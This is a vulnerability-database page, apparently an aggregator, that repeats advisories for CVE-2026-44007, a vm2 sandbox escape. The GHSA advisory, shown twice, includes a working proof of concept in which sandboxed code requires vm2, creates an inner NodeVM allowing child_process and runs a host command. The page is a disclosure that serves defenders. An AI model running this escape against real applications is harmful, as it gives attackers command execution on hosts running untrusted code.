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vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution

CVSS 3.1 9.1 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.1 CRITICALCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by vm2 3.11.1KEV status unknown

cve-program · CVE-2026-44007

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Read the publisher's advisory

euvd · EUVD-2026-30077

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Read the publisher's advisory

nvd · CVE-2026-44007

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Read the publisher's advisory

osv · GHSA-8hg8-63c5-gwmx

Published

### Summary When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised. ### Details The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver. **`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox: ```js const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader }); ``` **`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options: ```js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler ); ``` **`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`: ```js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... } ``` **`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist: ```js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } } ``` The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`. This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction. ### PoC **Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions). ```js const { NodeVM } = require('vm2'); // Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false }); const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2'); // Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } }); // Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `); console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),... ``` **Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):** ``` uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn) ``` The variant with `require: false` also works — the outer VM's require setting has no effect: ```js new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ... ``` Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled. ### Impact **Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2. **What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence. **Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access. **Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

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cve-program · CVE-2026-44007

Published

vm2: nesting: true bypasses require: false, allowing sandbox escape to arbitrary OS command execution

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Source published
13 May 2026 17:33:19 UTC
Source modified
4 Nov 2026 03:32:47 UTC
Saved here
4 Nov 2026 04:57:16 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2026-30077

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With …

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 13, 2026, 5:33:19 PM

dateUpdated: Nov 4, 2026, 3:32:47 AM

2 related source bulletins · separate from aliases

WID-SEC-W-2026-1349: vm2: Mehrere Schwachstellen

CVE-2026-22709 · CVE-2026-24118 · CVE-2026-24120 · CVE-2026-24781 · CVE-2026-26332 · CVE-2026-26956 · CVE-2026-43997 · CVE-2026-43999 · CVE-2026-44000 · CVE-2026-44001 · CVE-2026-44002 · CVE-2026-44003 · CVE-2026-44005 · CVE-2026-44006 · CVE-2026-44007 · CVE-2026-92963

RHSA-2026:50850: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

CVE-2026-9277 · CVE-2026-43997 · CVE-2026-43998 · CVE-2026-43999 · CVE-2026-44000 · CVE-2026-44001 · CVE-2026-44002 · CVE-2026-44003 · CVE-2026-44004 · CVE-2026-44005 · CVE-2026-44006 · CVE-2026-44007 · CVE-2026-44008 · CVE-2026-44009 · CVE-2026-45411 · CVE-2026-47131 · CVE-2026-47135 · CVE-2026-47137 · CVE-2026-47139 · CVE-2026-47140 · CVE-2026-47141 · CVE-2026-47209 · CVE-2026-48068 · CVE-2026-48801 · CVE-2026-59877

Source published
May 13, 2026, 5:33:19 PM (timezone not stated)
Source modified
Nov 4, 2026, 3:32:47 AM (timezone not stated)
Saved here
15 Nov 2026 13:08:22 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2026-44007

Published

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With …

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.1, when a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised. This vulnerability is fixed in 3.11.1.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-284 · CWE-1100

Original publisher date fields

published: 2026-05-13T18:16:17.527

lastModified: 2026-11-04T04:17:35.953

1 source CPE criteria · context only
  • cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
13 May 2026 18:16:17 UTC
Source modified
4 Nov 2026 04:17:35 UTC
Saved here
4 Nov 2026 13:22:41 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-8hg8-63c5-gwmx

Published

vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

### Summary When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised. ### Details The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver. **`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox: ```js const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader }); ``` **`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options: ```js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler ); ``` **`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`: ```js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... } ``` **`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist: ```js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } } ``` The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`. This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction. ### PoC **Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions). ```js const { NodeVM } = require('vm2'); // Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false }); const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2'); // Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } }); // Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `); console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),... ``` **Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):** ``` uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn) ``` The variant with `require: false` also works — the outer VM's require setting has no effect: ```js new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ... ``` Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled. ### Impact **Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2. **What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence. **Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access. **Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.

Source published
7 May 2026 05:13:21 UTC
Source modified
4 Nov 2026 03:45:10 UTC
Saved here
4 Nov 2026 03:57:35 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

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